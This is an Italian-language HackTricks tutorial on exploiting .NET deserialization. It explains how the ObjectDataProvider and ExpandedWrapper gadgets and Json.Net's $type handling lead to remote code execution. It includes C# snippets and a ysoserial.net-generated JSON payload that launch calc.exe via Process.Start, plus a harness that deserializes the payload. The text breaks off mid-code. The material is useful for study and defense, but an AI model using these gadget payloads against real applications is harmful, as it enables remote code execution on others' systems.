# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
Questo post è dedicato a **comprendere come il gadget ObjectDataProvider venga sfruttato** per ottenere RCE e **come** le librerie di Serializzazione **Json.Net e xmlSerializer possano essere abusate** con quel gadget.
## Gadget ObjectDataProvider
Dalla documentazione: _la classe ObjectDataProvider avvolge e crea un oggetto che puoi utilizzare come sorgente di binding_.\
Sì, è una spiegazione strana, quindi vediamo cosa ha di così interessante questa classe: Questa classe consente di **avvolgere un oggetto arbitrario**, utilizzare _**MethodParameters**_ per **impostare parametri arbitrari,** e poi **utilizzare MethodName per chiamare una funzione arbitraria** dell'oggetto arbitrario dichiarato utilizzando i parametri arbitrari.\
Pertanto, l'**oggetto** arbitrario **eseguirà** una **funzione** con **parametri mentre viene deserializzato.**
### **Come è possibile**
Lo spazio dei nomi **System.Windows.Data**, trovato all'interno di **PresentationFramework.dll** in `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, è dove l'ObjectDataProvider è definito e implementato.
Utilizzando [**dnSpy**](https://github.com/0xd4d/dnSpy) puoi **ispezionare il codice** della classe che ci interessa. Nell'immagine qui sotto vediamo il codice di **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Nome del metodo**
.png>)
Come puoi osservare, quando `MethodName` è impostato, viene chiamato `base.Refresh()`, diamo un'occhiata a cosa fa:
.png>)
Ok, continuiamo a vedere cosa fa `this.BeginQuery()`. `BeginQuery` è sovrascritto da `ObjectDataProvider` e questo è ciò che fa:
.png>)
Nota che alla fine del codice viene chiamato `this.QueryWorke(null)`. Vediamo cosa esegue:
.png>)
Nota che questo non è il codice completo della funzione `QueryWorker`, ma mostra la parte interessante: Il codice **chiama `this.InvokeMethodOnInstance(out ex);`** questa è la riga in cui viene **invocato il metodo impostato**.
Se vuoi controllare che impostando semplicemente il _**MethodName**_\*\* verrà eseguito\*\*, puoi eseguire questo codice:
```java
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
```
Nota che devi aggiungere come riferimento _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ per caricare `System.Windows.Data`
## ExpandedWrapper
Utilizzando l'exploit precedente ci saranno casi in cui l'**oggetto** verrà **deserializzato come** un'istanza di _**ObjectDataProvider**_ (ad esempio nella vulnerabilità di DotNetNuke, utilizzando XmlSerializer, l'oggetto è stato deserializzato utilizzando `GetType`). Quindi, non avrà **conoscenza del tipo di oggetto che è incapsulato** nell'istanza di _ObjectDataProvider_ (ad esempio `Process`). Puoi trovare ulteriori [informazioni sulla vulnerabilità di DotNetNuke qui](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1).
Questa classe consente di **specificare i tipi di oggetto degli oggetti che sono incapsulati** in una data istanza. Quindi, questa classe può essere utilizzata per incapsulare un oggetto sorgente (_ObjectDataProvider_) in un nuovo tipo di oggetto e fornire le proprietà di cui abbiamo bisogno (_ObjectDataProvider.MethodName_ e _ObjectDataProvider.MethodParameters_).\
Questo è molto utile per casi come quello presentato prima, perché saremo in grado di **incapsulare \_ObjectDataProvider**_\*\* all'interno di un'istanza di \*\*_**ExpandedWrapper** \_ e **quando deserializzato** questa classe **creerà** l'oggetto _**OjectDataProvider**_ che **eseguirà** la **funzione** indicata in _**MethodName**_.
Puoi controllare questo wrapper con il seguente codice:
```java
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper myExpWrap = new ExpandedWrapper();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
```
## Json.Net
Nella [pagina web ufficiale](https://www.newtonsoft.com/json) è indicato che questa libreria consente di **Serializzare e deserializzare qualsiasi oggetto .NET con il potente serializzatore JSON di Json.NET**. Quindi, se potessimo **deserializzare il gadget ObjectDataProvider**, potremmo causare un **RCE** semplicemente deserializzando un oggetto.
### Esempio di Json.Net
Prima di tutto vediamo un esempio su come **serializzare/deserializzare** un oggetto utilizzando questa libreria:
```java
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject(json);
Console.WriteLine(desaccount.Email);
}
}
}
```
### Abusing Json.Net
Utilizzando [ysoserial.net](https://github.com/pwntester/ysoserial.net) ho creato l'exploit:
```java
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
In questo codice puoi **testare l'exploit**, basta eseguirlo e vedrai che viene eseguito un calc:
```java
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject
[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)
[**HackTricks Training GCP Red Team Expert (GRTE)**